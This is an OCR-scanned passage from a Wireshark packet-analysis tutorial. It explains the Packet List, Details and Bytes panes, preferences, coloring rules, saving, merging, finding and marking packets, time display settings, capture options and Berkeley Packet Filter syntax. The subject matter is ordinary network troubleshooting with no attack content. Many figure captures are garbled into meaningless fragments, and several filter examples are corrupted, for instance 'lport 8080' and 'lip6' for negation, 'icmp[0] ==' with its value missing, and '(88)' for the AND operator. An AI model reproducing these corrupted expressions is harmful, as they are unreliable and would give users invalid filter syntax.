selected your packet, you can see the bytes that correspond with a certain 
portion of the packet in the Packet Bytes pane when you click that portion 
of the packet in the Packet Details pane. 


Notice that Figure 3-5 lists a. few different protocols in the Packet List pane. There is 


no visual separation of protocols on different layers; all packets are shown as they are 
received on the wire. 


Here’s what each pane contains: 


Packet List The top pane displays a table containing all packets in the 
current capture file. It has columns containing the packet number, the 
relative time the packet was captured, the source and destination of the 
packet, the packet’s protocol, and some general information found in 
the packet. 


NOTE When I refer to traffic, I am referring to all packets displayed in the Packet List pane. 


When I refer to DNS traffic specifically, I mean the DNS protocol packets in the Packet 
List pane. 


Packet Details The middle pane contains a hierarchical display of 
information about a single packet. This display can be collapsed and 
expanded to show all of the information collected about an individual 
packet. 

Packet Bytes The lower pane—perhaps the most confusing—displays 
a packet in its raw, unprocessed form; that is, it shows what the packet 
looks like as it travels across the wire. This is raw information with noth- 
ing warm or fuzzy to make it easier to follow. 


Wireshark Preferences 


Wireshark has several preferences that can be customized to meet your 
needs. To access Wireshark’s preferences, select Edit from the main drop- 
down menu and click Preferences. You'll see the Preferences dialog, which 
contains several customizable options, as shown in Figure 3-6. 
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E Wireshark: Preferences - Profile: Default ea 


Protocols 


[ok] {apply | [cancer 


Layout Packet list selection mode: | Selects Z 


Columns Protocol tree selection mode: Selects |v: 


Font 


Colors Save window position: ] 


8 


Capture Save window size: 


Printing 


Save maximized state: 


cS 


Name Resolution 


Statistics Open a console window [Never " 


"File Open" dialog behavior @ Remember last directory Always start in: 
Directory: | CAUsersvcsanders Documents 
"File Open" preview timeout: |3 
Filter display max. list entries: |10 
"Open Recent" max. list entries: |10 | 
Ask for unsaved capturefiles: [V] 
Wrap to end/beginning of file during a find: — [V] 


Settings dialogs show a save button: 


Welcome screen shows version: 


Figure 3-ó: You can customize Wireshark using the Preferences dialog options. 


Wireshark's preferences are divided into six major sections: 


User Interface These preferences determine how Wireshark presents 
data. You can change most options here according to your personal pref- 
erences, including whether or not to save window positions, the layout 
of the three main panes, the placement of the scroll bar, the placement of 
the Packet List pane columns, the fonts used to display the captured 
data, and the background and foreground colors. 


Capture These preferences allow you to specify options related to the 
way packets are captured, including your default capture interface, 
whether to use promiscuous mode by default, and whether to update 
the Packet List pane in real time. 


Printing The preferences in this section allow you to specify various 
options related to the way Wireshark prints your data. 


Name Resolution Through these preferences, you can activate features 
of Wireshark that allow it to resolve addresses into more recognizable 
names (including MAC, network, and transport name resolution) and 
specify the maximum number of concurrent name resolution requests. 


Statistics This section provides a few configurable options for Wireshark's 
statistical features. 


Protocols The preferences in this section allow you to manipulate options 
related to the capture and display of the various packets Wireshark is 
capable of decoding. Not every protocol has configurable preferences, 
but some have several options that can be changed. These options are 
best left at their defaults unless you have a specific reason to change them. 


Packet Color Coding 


If you are anything like me, you may enjoy shiny objects and pretty colors. If 
that is the case, you probably got excited when you saw all those different 
colors in the Packet List pane, as in the example in Figure 3-7 (well, the fig- 
ure is in black and white, but you get the idea). It may seem as if these colors 
are randomly assigned to each individual packet, but this is not the case. 


No. Time Source Destination Protocol Info = 
28 2.557340 172.16.16.128 172.16.16.255 NBNS Name query NB ISATAP<00> 
29 3.009402 172.16.16.128 4:2727* DNS Standard query PTR 128.16.16.172.in-addr.arpa 
30 3.050866 Cer te Be 172.16.16.128 DNS Standard query response, No such name 
31 3.180870 172.16.16.128 157.166.226.25 TCP 2918 > 80 [SYN] Seq=2094805014 win-8192 Len=0 MSS-1460 ws-2 
32 3.241650 157.166.226.25 172.16.16.128 TCP 80 > 2918 [SYN, ACK] Seq-1516154519 Ack-2094805015 win-5840 
33 3.241744 172.16.16.128 157.166.226.25 TCP 2918 > 80 [ACK] Seq=2094805015 Ack-1516154520 win=4218 Len= 


172.16.16.128 is 5 2867 > ST, ACK] Seq=2003725889 Ack: 
172.16.16.128 209.85. 225.118 2866 > ST, ACK] Seq=1479685855 Ack: 97855950 win=0 Leld 


Figure 3-7: Wireshark’s color coding allows for quick protocol identification. 


Each packet is displayed as a certain color for a reason. These colors 
reflect the packet’s protocol. For example, all DNS traffic is blue, and all 
HTTP traffic is green. The color coding allows you to quickly differentiate 
between various protocols so that you don’t need to read the protocol field 
in the Packet List pane for each individual packet. You will find that this 
greatly speeds up the time it takes to browse through large capture files. 

Wireshark makes it easy to see which colors are assigned to each protocol 
through the Coloring Rules window, shown in Figure 3-8. To open this win- 
dow, select View from the main drop-down menu and click Coloring Rules. 


r 
@ Wireshark: Coloring Rules - Profile: Default = ==) 
rEdit- Filter Order 
List is processed in order until match is found 
Name String 
Edit... Up 
Enable 
ARP arp 
Disable ICMP icmp || icmpv6 
TCP RST uid flags.reset eq 1 
4.0.0.0/4 && ip.ttl < 5 && !pim) || (ip. 0.0.0/24 | Move 
Delete selected filter 
up or down 
YU SMB smb || nbss || nbns || nbipx || ipxsap || netbios 
HTTP http || tcp.port == 80 
IPX i 
! E 
DCERPC dcerpc 
Routing hsrp || eigrp || ospf || bgp || cdp || vrrp || gvrp || igmp || ismp 
tcp Down 
udp 
eth[0] & 1 
* ds "o " D 
— mem 


© 


Figure 3-8: The Coloring Rules window allows you to view and modify the coloring 
of packets. 
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You can define your own coloring rules and modify existing ones. For 
example, to change the color used as the background for HTTP traffic from 
the default green to lavender, follow these steps: 


l. Open Wireshark and access the Coloring Rules window (View > Coloring 
Rules). 


2. Find the HTTP coloring rule in the coloring rules list and select it by 
clicking it once. 

3. Click the Edit button. You'll see the Edit Color Filter dialog, as shown in 
Figure 3-9. 


E Wireshark: Edit Color Filter - Profile: Default Brim) 


Filter 


Name: 
String: | http || tcp.port == 80 
Display Colors Status 


| Foreground Color... l Background Color... [E] Disabled 


Figure 3-9: When editing a color filter, you can modify both the 
foreground and background colors. 


Click the Background Color button. 
5. Select the color you wish to use on the color wheel, and then click OK. 


Click OK twice more to accept the changes and return to the main win- 
dow. The main window should then reload itself to reflect the updated 
color scheme. 


As you work with Wireshark on your network, you will begin to notice 
that you deal with certain protocols more than others. Here's where color- 
coded packets can make your life a lot easier. For example, if you think that 
there is a rogue DHCP server on your network handing out IP leases, you 
could simply modify the coloring rule for the DHCP protocol so that it shows 
up in bright yellow (or some other easily identifiable color). This would allow 
you to pick out all DHCP traffic much more quickly, and make your packet 
analysis more efficient. 

These coloring rules can also be further extended by creating them 
based on your own custom filters. 

Now that you have Wireshark up and running, you're ready to do some 
packet analysis. The next chapter describes how you can work with the pack- 
ets you've captured. 


WORKING WITH 
CAPTURED PACKETS 


Now that you've been introduced to Wire- 

shark, you're ready to start capturing and 
analyzing packets. In this chapter, you'll 
learn how to work with capture files, packets, 
and time-display formats. We'll also cover more advanced 


options for capturing packets and dive into the world 
of filters. 


Working with Capture Files 


As you perform packet analysis, you will find that a good portion of the anal- 
ysis you do will happen after your capture. Usually, you will perform several 
captures at various times, save them, and analyze them all at once. Therefore, 
Wireshark allows you to save your capture files to be analyzed later. You can 
also merge multiple capture files. 
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Saving and Exporting Capture Files 


To save a packet capture, select File » Save As. You should see the Save File 
As dialog, as shown in Figure 4-1. You're asked for a location to save your 
packet capture and for the file format you wish to use. If you do not specify a 
file format, Wireshark will use the default .pcap file format. 


@ Wireshark: Save file as x= 
Savein: | J} ch06 d E C* Eg- 

E Name = Date Type Size Sad 
M ae z arp_gratuitous.pcap 7/13/2009 9... mE m 1 KE 
: $i arp resolution.pcap 5/11/2007 1... Wireshark... 1 KE 

m E dhcp inlease renewal.pcap 1/17/20101.. Wireshark ... 1KEE 
Desktop E dhcp, nolease renewal.pcap 7/13/20099..  Wireshark ... 2 KE 
Em Mr dns axfr.pcap 1/31/2010 5... Wireshark... 2 KE 

dl m dns query response.pcap 7/13/2009 9... Wireshark... 1KE 
Libraries B dns_recursivequery_client.pcap 1/25/2010 1... Wireshark... 1KE 
lke m dns recursivequery server.pcap 1/25/20101... Wireshark... 1KE 
I http google.pcap 2/8/2010 8:.. Wireshark... 7 KE 
Computer m http post.pcap 2/8/2010 9:... Wireshark... 14 KE 

tù m icmp echo.pcap 7/13/2009 9... Wireshark... 1KE. 

^ qj [a " | 


D 
Save as type: Wireshark/tcpdump/... -libpcap (“pcap;*.cap) * Cancel 


Help 


Packet Range — — -7 

(* Captured C Displayed 

@ All packets 62 62 

© Selected packet 1 1 

© Marked packets D 

© First to last marked D 

C Range: 0 

[^ Remove Ignored packet D 


P 


S 


Figure 4-1: The Save File As dialog allows you to save your packet captures. 


One of the more powerful features of the Save File As dialog is the ability 
to save a specific packet range. This is a great way to thin bloated packet cap- 
ture files. You can choose to save only packets in a specific number range, 
marked packets, or packets visible as the result of a display filter (marked 
packets and filters are discussed later in this chapter). 

You can export your Wireshark capture data into several different formats 
for viewing in other media or for importing into other packet-analysis tools. 
Formats include plaintext, PostScript, comma-separated values (CSV), and 
XML. To export your packet capture, choose File » Export, and then select 
the format for the exported file. You will see a Save As dialog containing 
options related to that specific format. 


Merging Capture Files 


Certain types of analysis require the ability to merge multiple capture files. 
This is a common practice when comparing two data streams or combining 
streams of the same traffic that were captured separately. 

To merge capture files, open one of the capture files you want to merge 
and choose File » Merge to bring up the Merge with Capture File dialog, 
shown in Figure 4-2. Select the new file you wish to merge into the already 
open file, and then select the method to use for merging the files. You can 
prepend the selected file to the currently open one, append it, or merge the 
files chronologically based on their timestamps. 


[4] Wireshark: Merge with capture file =S 
Lookin: | || ch06 -" e c Ey 
t Name : [ £3 
d^ 
— z arp_gratuitous.pcap D 
$ arp resolution.pcap E 
7 = : 
| fre dhcp_inlease_renewal.pcap 1 
Desktop p dhcp_nolease_renewal.pcap D 
E dns axfr.pcap 17 
= B dns_query_response.pcap j 
Libraries m dns recursivequery client.pcap 1 
le m dns recursivequery server.pcap 1 
| P i 
" iis http google.pcap s 
Computer L 


XA, fra icmp_echo.pcap i 
m icmp traceroute.pcap i 
Network "- 
fia ip frag dest.pcap 1 
m ip frag source.pcap l+ 


tum m | 


+ 
File name: http_post.pcap m 
Files of type: Wireshark Acpdump/... -libpcap (“pcap;*.cap) v Cancel 


Help 
Display filter: Filename: http. post pcap 


Format: Wireshark/tcpdump/... - libpcap 
{© Prepend packets to existing file Sae: 13363 bytes 
C Merge packets chronologically px 21 
© Append packets to existing file First Packet: 2010-02-08 21:32:53 


Elapsed: 00:00:04 


Figure 4-2: The Merge with Capture File dialog allows you to merge 
two capture files. 


Working with Packets 


You will eventually encounter situations involving a very large number of 
packets. As the number of these packets grows into the thousands and even 
millions, you will need to be able to navigate through packets more efficiently. 
For this purpose, Wireshark allows you to find and mark packets that match 
certain criteria. You can also print packets for easy reference. 
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Finding Packets 
To find packets that match particular criteria, open the Find Packet dialog, 
shown in Figure 4-3, by pressing CTRL-F. 


Wireshark: Find Packet te 


Find 
| By: © Display filter © Hex value © String 


| 
(ae 


Search In String Options Direction 
Packet list Case sensitive © Up 
Packet details | | Character set: (9) Down | 


| (9) Packet bytes ASCII Unicode & Non-Unicode 


——[——— 


Figure 4-3: Finding packets in Wireshark based on 
specified criteria 


This dialog offers three options for finding packets: 


e The Display filter option allows you to enter an expression-based filter 
that will find only those packets that satisfy that expression. 


The Hex value option searches for packets with a hexadecimal (with 
bytes separated by colons) value you specify. 


The String option searches for packets with a text string you specify. 


Table 4-1 shows examples of these search types. 


Table 4-1: Search Types for Finding Packets 


Search Type Examples 


Display filter not ip 
ip addr--192.168.0.1 
arp 


Hex value 00:ff 
ffi 
00:AB:B1:f0 


String Workstationi 
UserB 
domain 


Other options include the ability to select the window in which you want 
to search, the character set to use, and the search direction. You can extend 
the capability of your string searches by specifying the pane the search is per- 
formed in, setting the character set used, and making the search case sensitive. 

Once you've made your selections, enter your search criteria in the text 
box, and click Find to find the first packet that meets your criteria. To find 
the next matching packet, press CTRL-N; find the previous matching packet 
by pressing CTRL-B. 


Marking Packets 


After you have found the packets that match your criteria, you can mark 
those of particular interest. For example, you may want to mark packets to be 
able to save those packets separately or to find them quickly based on the col- 
oration. Marked packets stand out with a black background and white text, as 
shown in Figure 4-4. (You can also sort out only marked packets when saving 
packet captures.) 

To mark a packet, right-click it in the Packet List pane and choose Mark 
Packet from the pop-up or click a packet in the Packet List pane and press 
CTRL-M. To unmark a packet, toggle this setting off using CTRL-M again. You 
can mark as many packets as you wish in a capture. To jump forward and 
backward between marked packets, press SHIFT-CTRL-N and SHIFT-CTRL-B, 
respectively. 


No. Time Source Destination Protocol Info 
1 0.000000 172.16.0.8 157.166. 224.25 3426 > 80 [SYN] Seq-1745901259 win-8192 Len=0 MSS=1460 WS=2 
2 0.024063 157.166.224.25 172.16.0.8 TCP 80 > 3426 [SYN, ACK] Seq-2324576412 Ack=1745901260 win-5840 Len=0 MSS-1460 wS-7 | 


Figure 4-4: A marked packet is highlighted on your screen. In this example, packet 1 is marked and appears 
darker. 


Printing Packets 


Although most analysis will take place on the computer screen, you may need 
to print captured data. I often print out packets and tape them to my desk so 
that I can quickly reference their contents while doing other analysis. Being 
able to print packets to a PDF file is also very convenient, especially when 
preparing reports. 

To print captured packets, open the Print dialog by choosing File > Print 
from the main menu. You will see the Print dialog, as shown in Figure 4-5. 


E Wireshark: Print army 


Printer- 


© PostScript 
Output to file: wireshark.out Browse... 
Packet Range Packet Format 
[V] Packet summary line 
(9) All packets 62 62 [V] Packet details: 
© Selected packet only f 1 © All collapsed 
Marked packets only 0 0 


(Q) As displayed 
From first to last marked packet 0 0 


z 2 f © All expanded 
© Specify a packet range: 0 0 
"| Packet bytes 
Remove Ignored packets 0 0 [E] Each packet on a new page 


Help | Print | | Cancel 


Figure 4-5: The Print dialog allows you to print the packets you specify. 
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You can print the selected data as plaintext or PostScript, or to an output 
file. As with the Save File As dialog, you can print a specific packet range, 
marked packets only, or packets displayed as the result of a filter. You can 
also select which of Wireshark's three main panes to print for each packet. 
Once you have selected the options, click Print. 


Setting Time Display Formats and References 
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Time is of the essence—especially in packet analysis. Everything that happens 
on a network is time sensitive, and you will need to examine trends and network 
latency in nearly every capture file. Wireshark recognizes the importance of 
time and supplies several configurable options relating to it. In this section, 
we'll look at time display formats and references. 


Time Display Formats 


Each packet that Wireshark captures is given a timestamp, which is applied 
to the packet by the operating system. Wireshark can show the absolute 
timestamp indicating the exact moment when the packet was captured, as 
well as the time in relation to the last captured packet and the beginning and 
end of the capture. 

The options related to the time display are found under the View heading 
on the main menu. The Time Display Format section, shown in Figure 4-6, 
lets you configure the presentation format as well as the precision of the time 
display. The presentation format option lets you choose various options for 
time display. The precision options allow you to set the time display precision 
to automatic or to a manual setting, such as seconds, milliseconds, micro- 
seconds, and so on. We will be changing these options later in the book, so 
you should familiarize yourself with them now. 


Packet Time Referencing 


Packet time referencing allows you to configure a certain packet so that all 
subsequent time calculations are done in relation to that specific packet. This 
feature is particularly handy when you are examining a series of sequential 
events that are triggered somewhere other than the start of the capture file. 

To set a time reference to a certain packet, select the reference packet in 
the Packet List pane, and then choose Edit » Set Time Reference from the 
main menu. To remove a time reference from a certain packet, select the 
packet and toggle off the Edit > Set Time Reference setting. 

When you enable a time reference on a particular packet, the Time col- 
umn in the Packet List pane will display *REF*, as shown in Figure 4-7. 

Setting a packet time reference is useful only when the time display for- 
mat of a capture is set to display the time in relation to the beginning of the 
capture. Any other setting will produce no usable results and will create a set 
of times that can be very confusing. 


r = —— 
E testpcap - Wireshark — — - 
File Edit Go Capture Analyze Statistics Telephony Tools Help 
Qj teh E v Mein Toolbar ar ciOe2/aaQqan|susne| eB 
r lv Eilter Toolbar m 
Filter: |_| Wireless Toolbar v Expression... Clear Apply 
No Ti v Statusbar ce Destination Protocol Info 
T .16.0.8 157.166.224.25 TCP 3426 > 8 
2 0| v Packet List .166.224.25 172.16.0.8 TCP 80 » 342 
} 3 | v Packet Details .16.0.8 198.78.206.126 TCP 3427 > 8 
40 .16.0.8 198.78.206.126 TCP 3428 > 8 
Top 9 eet .16.0.8 198.78.206.126 TCP 3429 > 8 
S - | Date and Time of Day: 1970-01-01 01:02:03.123456 Ctri-Alt-1 - E 
go Name Resolution » Time of Day: 01:02:03.123456 Ctr+Alt+2 f> g 
90 V Colorize Packet List Seconds Since Epoch (1970-01-01): 1234567890.123456 Ctrl+Alt+3 | 342 
= - Auto Scroll in Live Capture * Seconds Since Beginning of Capture: 123.123456 Ctri+Alt+4 = 
120 Q ZoomIn Ctrl + Seconds Since Previous Captured Packet: 1.123456 Ctrl+Alt+5 | 343 
130 Q Zoom Out Ctrl+- Seconds Since Previous Displayed Packet: 1.123456 Ctrl+Alt+6 | 343 
14 0 pu 343 
er Q Normal Size Ctrl+= | e Automatic (File Format Precision) 
16 3| Æ Resize All Columns Shift+Ctrl+R Secondsat > 8B 
17 3 : 8 
18 3 Expand Subtrees Shift Right Deciseconds: 0.1 — 
10 2 Expand All Ctrl+Right Centiseconds: 0,12 n 
< Collapse All Ctrl+Left | — Milliseconds: 0.123 
|G Frame | " 
Ethern Colorize Conversation » Microseconds: 0.123456 7:84 
| Interr Reset Coloring 1-10 Ctrl+Space Nanoseconds: 0.123456789 
| Transm m Coloring Rules... 
Show Packet in New Window 
fg Reload Ctrl+R 


Figure 4-6: Several time display formats are available. 


No. Time Source Destination 
4 0.118129 172.16.0.8 198.78.206.126 
5 *REF* 6.0.8 198.78.206.126 
6 0.000077 6.0.8 198.78. 206.126 
7 0.000153 6.0.8 198.78.206.126 


Figure 4-7: A packet with the packet time reference toggle enabled 


Setting Capture Options 


We walked through a very basic packet capture in Chapter 3. Wireshark offers 
quite a few more capture options in the Capture Options dialog, shown in 
Figure 4-8. To open this dialog, choose Capture » Interfaces and click the 
Options button next to the interface on which you want to capture packets. 

The Capture Options dialog has more bells and whistles than you can 
shake a stick at, all designed to give you more flexibility while capturing packets. 
It’s divided into Capture, Capture Files, Stop Capture, Display Options, and 
Name Resolution sections, which we’ll examine separately. 


Capture Settings 


The Interface drop-down list in the Capture section is where you can select 
the network interface to configure. The left drop-down list allows you to 
specify whether the interface is local or remote, and the right drop-down list 
shows all available capture interfaces. The IP address of the interface you 
have selected is displayed directly below this drop-down list. 
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Wireshark: Capture Options III 


r Capture 
Interface: |Local [-] Intel(R) 82567LM Gigabit Network Connection: Device WNPF (78D B 
IP address: 172.16.0.8 
Link-layer header type: | Ethernet [z] Wireless Settings 


V| Capture packets in promiscuous mode 


Remote Settings 


Capture packets in pcap-ng format (experimental) 


E z Buffer size: |1 = megabyte(s) 
Limit each packet to 1 > bytes 
Capture Filter:| || B 
Capture File(s) Display Options 
File: [V] Update list of packets in real time 
Use multiple files 
Next file every 1 5 [megabyte [| Automatic scrolling in live capture 
Next file every 1 = minute(s) | (V| Hide capture info dialog 
Ring buffer with |2 > files = 
7 Name Resolution 
Stop capture after |1 =| file(s) 
Stop Capture = (| Enable MAC name resolution 
after 1 = packet(s) Enable network name resolution 
m after |1 = | megabyte(s) 
Caller 1 ES Enable transport name resolution 


Help Start | | Cancel 


Figure 4-8: The Capture Options dialog 


The three checkboxes on the left side of the dialog box allow you to 
enable or disable promiscuous mode (always enabled by default), capture 
packets in the currently experimental pcap-ng format, and limit the size of 
each capture packet by bytes. 

The buttons on the right side of the Capture section let you access wire- 
less and remote settings (as applicable). Beneath those is the buffer size 
option, which is available only on systems running Microsoft Windows. You 
can specify the amount of capture packet data that is stored in the kernel 
buffer before it is written to disk. (This is a value you won’t normally modify 
unless you begin noticing that you are dropping a lot of packets.) The Cap- 
ture Filter option lets you specify a capture filter. 


Capture File(s) Settings 


The Capture File(s) section allows you to automatically store capture packets 
in a file, rather than capturing them first and then saving the file. Doing so 
offers you a great deal more flexibility in managing how packets are saved. 
You can choose to save them as a single file or a file set, or even use a ring 
buffer to manage the number of files created. To enable this option, enter a 
complete file path and name in the File text box. 

When capturing a large amount of traffic or performing long-term cap- 
tures, file sets can prove particularly useful. A file set is a grouping of multiple 


files separated by a particular condition. To save to a file set, check the Use 
Multiple Files option here. 

Wireshark uses various triggers to manage saving to file sets based upon a 
file size or time condition. To enable these options, place a check mark next 
to the Next File Every option (the top one for file-size triggers and the one 
beneath that for time-based triggers), and then specify the value and unit on 
which to trigger. For instance, you can create a trigger that creates a new file 
after every 1MB of traffic captured, or after every minute of traffic captured, 
as shown in Figure 4-9. 


Name Date modified 

|_| Capture 00001 20091115155100 11/15/2011 3:51 PM 
|_| Capture 00002 20091115155200 11/15/2011 3:52 PM 
|_| Capture 00003 20091115155300 11/15/2011 3:53 PM 
|_| Capture 00004 20091115155400 11/15/2011 3:54 PM 
|_| Capture 00005 20091115155500 11/15/2011 3:56 PM 
|_| Capture 00006 20091115155600 11/15/2011 3:56 PM 
|_| Capture 00007 20091115155700 11/15/2011 3:57 PM 
|_| Capture 00008 20091115155800 11/15/2011 3:58 PM 
|_| Capture 00009 20091115155900 11/15/2011 3:59 PM 
|_| Capture 00010 20091115160000 11/15/2011 4:00 PM 


Figure 4-9: A file set created by Wireshark at 
one-minute intervals 


These options can also be used in combination. For example, if you specify 
both triggers, a new file will be created when 1MB of data is captured orwhen 
a minute has elapsed—whichever comes first. 

The Ring Buffer With option lets you use a ring buffer when creating a 
file set. This is used by Wireshark as a first in, first out (FIFO) method of 
writing multiple files. Although the term ring buffer has multiple meanings 
throughout information technology, for our purposes here, it is essentially 
a file set that specifies that upon completion of writing the last file, the first 
file is overwritten when more data must be saved to disk. You can check this 
option and specify the maximum number of files you wish to cycle through. 
For example, say you choose to use multiple files for your capture with a new 
file created every hour, and you set your ring buffer to 6. Once the sixth file 
has been created, the ring buffer will cycle back around and overwrite the 
first file rather than create a seventh file. This ensures that no more than six 
files (or in this case, hours) of data will remain on your hard drive, while still 
allowing new data to be written. 

The Stop Capture After option allows you to stop the current capture 
once a certain number of files have been created. 


Stop Capture Settings 


The Stop Capture section lets you stop the running capture after certain trig- 
gers are met. As with multiple file sets, you can trigger based on file size and 
time interval, as well as number of packets. These options can be used with 
the multiple file options previously discussed. 
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Display Options 

The Display Options section controls how packets are shown as they are being 
captured. The Update List of Packets in Real Time option is self-explanatory 
and can be paired with the Automatic Scrolling in Live Capture option. When 
both of these options are enabled, all captured packets are displayed on the 
screen, with the most recently captured ones shown instantly. 


When paired, the Update List of Packets in Real Time and Automatic Scrolling in Live 
Capture options can be quite processor intensive, even when capturing a reasonable 
amount of data. Unless you have a specific need to see the packets in real time, it’s best 
to deselect both options. 


The Hide Capture Info Dialog option lets you suppress the display of a 
small window that shows the number and percentage of packets that have 
been captured, by protocol. 


Name Resolution Settings 


The Name Resolution section options allow you to enable automatic MAC 
(layer 2), network (layer 3), and transport (layer 4) name resolution for your 
capture. We'll discuss name resolution in Wireshark more in depth, includ- 
ing its drawbacks, in Chapter 5. 


Using Filters 


Chapter 4 


Filters allow you to specify exactly which packets you have available for analy- 
sis. Simply stated, a filter is an expression that defines criteria for the inclusion 
or exclusion of packets. If there are packets you don't want to see, you can 
write a filter that gets rid of them. If there are packets you want to see exclu- 
sively, you can write a filter that shows only those packets. 

Wireshark offers two main types of filters: 


e Capture filters are specified when packets are being captured and will 
capture only those packets that are specified for inclusion/exclusion in 
the given expression. 


e Display filters are applied to an existing set of captured packets in order 
to hide unwanted packets or show desired packets based on the specified 
expression. 


Let's look at capture filters first. 


Capture Filters 


Capture filters are used during the actual packet-capturing process. One pri- 
mary reason for using a capture filter is performance. If you know that you 
do not need to analyze a particular form of traffic, you can simply filter it out 
with a capture filter and save the processing power that would typically be 
used in capturing those packets. 


The ability to create custom capture filters comes in handy when dealing 
with large amounts of data. The analysis process can be sped up by ensuring 
that you are looking at only the packet relevant to the issue at hand. 

A simple example of when you might use a capture filter is when captur- 
ing traffic on a server with multiple roles. Suppose you are troubleshooting 
an issue with a service running on port 262. If the server you are analyzing 
runs several different services on a variety of ports, finding and analyzing 
only the traffic on port 262 can be quite a job in itself. To capture only the 
port 262 traffic, you can use a capture filter. To do so, you can use the Capture 
Options dialog, discussed earlier in this chapter, as follows: 


l. Choose Capture » Interfaces and click the Options button next to the 
interface on which you want to capture packets to open the Capture 
Options dialog. 

2. Select the interface you wish to capture packets on, and choose a capture 
filter. 


3. You can apply the capture filter by entering an expression next to the 
Capture Filter button. We want our filter to show only traffic inbound 
and outbound to port 262, so we enter port 262, as shown in Figure 4-10. 
(We'll discuss expressions in more detail in the next section.) 


4. Once you have set your filter, click Start to begin the capture. 


E 
a Wireshark: Capture Options l abak 
Capture 
Interface: Local [-] Intel(R) 82567LM Gigabit Network Connection: Device WNPF (78D (x) 
IP address: 172.16.0.8 
Link-layer header type: | Ethernet [>| Wireless Settings 
[V] Capture packets in promiscuous mode Remote Settings 
|| Capture packets in pcap-ng format (experimental) z 
3 i i uut 7 P Buffer size: |1 = megabyte(s) 
Limit each packet to |1 > bytes 
Capture Filter:| | port 262 iy 
-Capture File(s) ; r Display Options — — — — — — —34 
| 
File: Browse...) | ‘Update list of packets in real time 
Use multiple files 
| A : 
Yes, 1 sees, | Automatic scrolling in live capture 
z 5 1| 
Next file every 1 = (minute(s) ||| [V] Hide capture info dialog 
Ring buffer with |2 = files | J 
= | [Name Resolution — — —— 
Stop capture after |1 =) file(s) | 
Stop Capture ...- ! Enable MAC name resolution 
after i 7| packet(s) | [7] Enable network name resolution 
w after 1 : megabyte(s) | 
EHE 1 (ERE | Enable transport name resolution 
| 
Help | Start | | Cancel 


& 


Figure 4-10: Creating a capture filter in the Capture Options dialog 


After collecting an adequate sample, you should now see only the port 262 
traffic and be able to more efficiently analyze this particular data. 
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Capture/BPF Syntax 


Capture filters are applied by WinPcap and use the Berkeley Packet Filter 
(BPF) syntax. This syntax is common in several packet-sniffing applications, 
mostly because most packet-sniffing applications rely on the libpcap/WinPcap 
libraries, which allow for the use of BPFs. A knowledge of BPF syntax is crucial 
as you dig deeper into networks at the packet level. 

A filter created using the BPF syntax is called an expression, and each 
expression consists of one or more primitives. Primitives consist of one or 
more qualifiers (as listed in Table 4-2) followed by an ID name or number, as 
shown in Figure 4-11. 


Table 4-2: The BPF Qualifiers 


Qualifier Description Examples 
Type Identifies what the ID name or number host, net, port 
refers to 
Dir Specifies a transfer direction to or from src, dst 
the ID name or number 
Proto Restricts the match to a particular ether, ip, tcp, udp, http, ftp 
protocol 
Primitive Operator Primitive 


A A 
| Y^ | 
dst host 192.168.0.10 && tcp port 80 
eS gt ID S ge D 
c? o? o? go? 
Figure 4-11: A sample capture filter 
Given the components of an expression, a qualifier of src and an ID 
of 192.168.0.10 would combine to form a primitive. This primitive alone is 
an expression that would capture traffic only with a source IP address of 
192.168.0.10. 


You can use logical operators to combine primitives to create more 
advanced expressions. Three logical operators are available: 


e  Concatenation operator AND (88) 
e  Alternation operator OR (||) 
e Negation operator NOT (!) 


For example, the following expression will capture only traffic with a 
source IP address of 192.168.0.10 and a source or destination port of 80: 


src 192.168.0.10 && port 80 


Hostname and Addressing Filters 


Most filters you create will center on a particular network device or grouping 
of devices. Depending on the circumstances, filtering can be based on a 
device's MAC address, IPv4 address, IPv6 address, or its DNS hostname. 

For example, say you're curious about the traffic of a particular host that 
is interacting with a server on your network. From the server, you can create 
a filter using the host qualifier that captures all traffic associated with that 
host's IPv4 address: 


host 172.16.16.149 


If you are on an IPv6 network, you would filter based on an IPv6 address 
using the host qualifier as shown here: 


host 2001:db8:85a3::8a2e:370:7334 


You can also filter based on a device's hostname with the host qualifier, 
like so: 


host testserver2 


Or, if you're concerned that the IP address for a host might change, you can 
filter based on its MAC address as well by adding the ether protocol qualifier: 


ether host 00-1a-a0-52-e2-a0 


The transfer direction qualifiers are often used in conjunction with filters 
like the ones in the previous examples to capture traffic based on whether 
it's going to or coming from a host. For example, to capture only traffic 
coming from a particular host, add the src qualifier 


src host 172.16.16.149 


To capture only data leaving server 172.16.16.149 that is destined for a 
questionable host, use the dst qualifier: 


dst host 172.16.16.149 


When you don't use a type qualifier (host, net, or port) with a primitive, 
the host qualifier is assumed. Therefore, the equivalent of the preceding 
example could exclude that qualifier: 


dst 172.16.16.149 
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Port and Protocol Filters 


In addition to filtering on hosts, you can filter based on the ports used in each 
packet. Port filtering can be used to filter based on services and applications 
that use known service ports. For example, here's a simple filter to capture 
traffic only on port 8080: 


port 8080 


To capture all traffic except that on port 8080, this will work: 


lport 8080 


The port filters can be combined with transfer direction qualifiers. For 
example, to capture only traffic going to the web server listening on the stan- 
dard HTTP port 80, use the dst qualifier: 


dst port 80 


Protocol Filters 


Protocol filters let you filter packets based on certain protocols. They are 
used to match non-application-layer protocols that can't simply be defined 
by the use of a certain port. Thus, if you want to see only ICMP traffic, you 
could use this filter: 


icmp 


To see everything but IPv6 traffic, this will do the trick: 


lip6 


Protocol Field Filters 


One of the real powers of the BPF syntax is the ability that it gives us to examine 
every byte of a protocol header in order to create very specific filters based 
on that data. The advanced filters that we'll discuss in this section will allow 
you to retrieve a specific number of bytes from a packet beginning at a partic- 
ular location. 

For example, suppose that we want to filter based on the type field of 
an ICMP header. The type field is located at the very beginning of a packet, 
which puts it at offset 0. To identify the location to examine within a packet, 
specify the byte offset in square brackets next to the protocol qualifier— 
icmp[0] in this example. This specification will return a 1-byte integer value 
that we can compare against. For instance, to get only ICMP packets that 


represent destination unreachable (type 3) messages, we use the equal to oper- 
ator in our filter expression, as follows: 


icmp[0] == 


To examine only ICMP packets that represent an echo request (type 8) 
or echo reply (type 0), use two primitives with the OR operator: 


icmp[0] == 8 || icmp[o] == 0 


These filters work great, but they filter based on only | byte of informa- 
tion within a packet header. Luckily, you can also specify the length of the 
data to be returned in your filter expression by appending the byte length 
after the offset number within the square brackets, separated by a colon. 

For example, say we want to create a filter that captures all ICMP 
destination-unreachable, host-unreachable packets, identified by type 3, 
code 1. These are 1-byte fields, located next to each other at offset 0 of the 
packet header. To do this, we create a filter that checks 2 bytes of data 
beginning at offset 0 of the packet header, and compare that against the 
hex value 0301 (type 3, code 1), like this: 


icmp[0:2] == 0x0301 


